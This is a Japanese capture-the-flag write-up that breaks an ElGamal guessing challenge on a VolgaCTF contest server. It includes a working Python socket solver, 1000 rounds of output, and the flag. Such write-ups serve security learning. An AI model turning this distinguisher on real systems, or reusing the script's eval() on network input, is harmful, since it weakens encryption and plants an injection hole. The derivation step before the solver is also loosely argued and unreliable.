(2890617249300583158637805854766976754114012765487567043694015566872852553151421978350818992623942782270388143334175538177438800972817597695416001938419019L, 5881960638407467476018749058107957033169914696179880675020814072306155676178677242837659299927878820722237013045781286832922965516450121853309046617782917L)
0
(7694787801179914376983223611349757105030100019443934617691878107343007355494433349658050155205503641198251080046105950203621705191698976100686205657210003L, 1179577241289911095577996085076319164036443551111837716680424935938564535077095568211592916902666376218959420120373578337568622618943613250567992293497381L)
1
(3400607423457936288867686510269191964966054578839613452728217761613570122491987441888254895062363941215906822703171015697683062134919546770336811297954858L, 4687954943269632889299796487822613043314534464978729788015941060984696732184639015408391295695341274940684826502257187041819752177777668787193735666621379L)

サーバの処理の概要は以下の通り。

・ElGamalの鍵を生成
 yとpを表示
・1000回以下を繰り返し
 ・plaintext[0] = findQNR(p)
  - r: 2 ~ p-2
  - kronecker(r, p) = pow(r, (p-1)/2, p) != 1
  -> r
 ・plaintext[1] = findQR(p)
  - r: 2 ~ p-2
  -> pow(r, 2, p)
 ・challenge_bit: 0 or 1
 ・r: 1 ~ p-2
 ・以下の2つをタプルで表示
  ・pow(g, r, p)
  ・(plaintexts[0 or 1] * pow(y, r, p)) % p
 ・challenge_bitを当てる。
・1000回のchallenge_bit当てが当たっていれば、フラグを表示

以上から以下のことになる。

□challenge_bit = 0の場合
・y = pow(g, x, p)
・pow(g, r, p) == c1
・R * pow(y, r, p) == c2

□challenge_bit = 1の場合
・y = pow(g, x, p)
・pow(g, r, p) == c1
・pow(R, 2, p) * pow(y, r, p) == c2

pow(y, r, p) = pow(pow(g, x, p), r, ,p)
             = pow(g, x*r, p) = pow(c1, x, p)

どちらかの判断は以下でできそう。

R = (c2 * inverse(c1, p)) % p
kronecker(R, p)が1以外の場合は0、1の場合は1
import socket
from Crypto.Util.number import inverse

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def kronecker(x, p):
    q = (p - 1) / 2
    return pow(x, q, p)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('guess.q.2020.volgactf.ru', 7777))

data = recvuntil(s, '\n').rstrip()
print data

(y, p) = eval(data.split(' = ')[1])

for i in range(1000):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').rstrip()
    print data

    (c1, c2) = eval(data)
    print c1

    R = (c2 * inverse(c1, p)) % p
    if kronecker(R, p) != 1:
        ans = '0'
    else:
        ans = '1'
    print ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

(y, p) = (5728613622706615179289097745642532690931592275723566857374063290864040421722987902451866418894550003732598305675101373674589317084724237985315611490800686, 11463855996200027506665319269064636538517765044364790413002072171591430742027711902175198678603272488323659836174395764608185906281824693302001998322378519)
Round 1
(9286708065079514375613054723583764673625596599250935231280858640139889378337750373042933993661551315617575370032363027691215297653729979222086638874724821L, 9786824603883591608214813871096407508510096027175223551800793982310268163201460483178670471488639225976895230908663206089900625910301712257617043435448735L)
9286708065079514375613054723583764673625596599250935231280858640139889378337750373042933993661551315617575370032363027691215297653729979222086638874724821
0
Round 2
(11305668087780295457041033651886157785734787437925688634678397202561728250934069088995088596978042738151172111866490494868476343805922885869451557831848063L, 1167994344565726861199266133282085394987770580518051102861529411849149082537627986305902188057103876245843922388149819490775649310740209331177587422931497L)
11305668087780295457041033651886157785734787437925688634678397202561728250934069088995088596978042738151172111866490494868476343805922885869451557831848063
0
                         :
Round 999
(5084605222599969475909742794610821558197216956030690529748759682409466780732107439351588735240136902873872438577684163466003415879057926782724855943811984L, 245246992767358741941755720454312787028609935097993129728401854757429859772975950845742583370397347607699293642039839900679609827137320556081959376535548L)
5084605222599969475909742794610821558197216956030690529748759682409466780732107439351588735240136902873872438577684163466003415879057926782724855943811984
1
Round 1000
(1370336271487396119441565444038559229042347010698228556929232812588159876888051905338769626376301586355531395316558103996348799729225269926381083405976040L, 3153711824009493268337799423650790082015861419572632127158186799536117551891085258029927783846272041866690443899452355843800628445661898374731716840223091L)
1370336271487396119441565444038559229042347010698228556929232812588159876888051905338769626376301586355531395316558103996348799729225269926381083405976040
0
VolgaCTF{B3_c4r3ful_with_4lg0rithm5_impl3m3nt4ti0n5}
VolgaCTF{B3_c4r3ful_with_4lg0rithm5_impl3m3nt4ti0n5}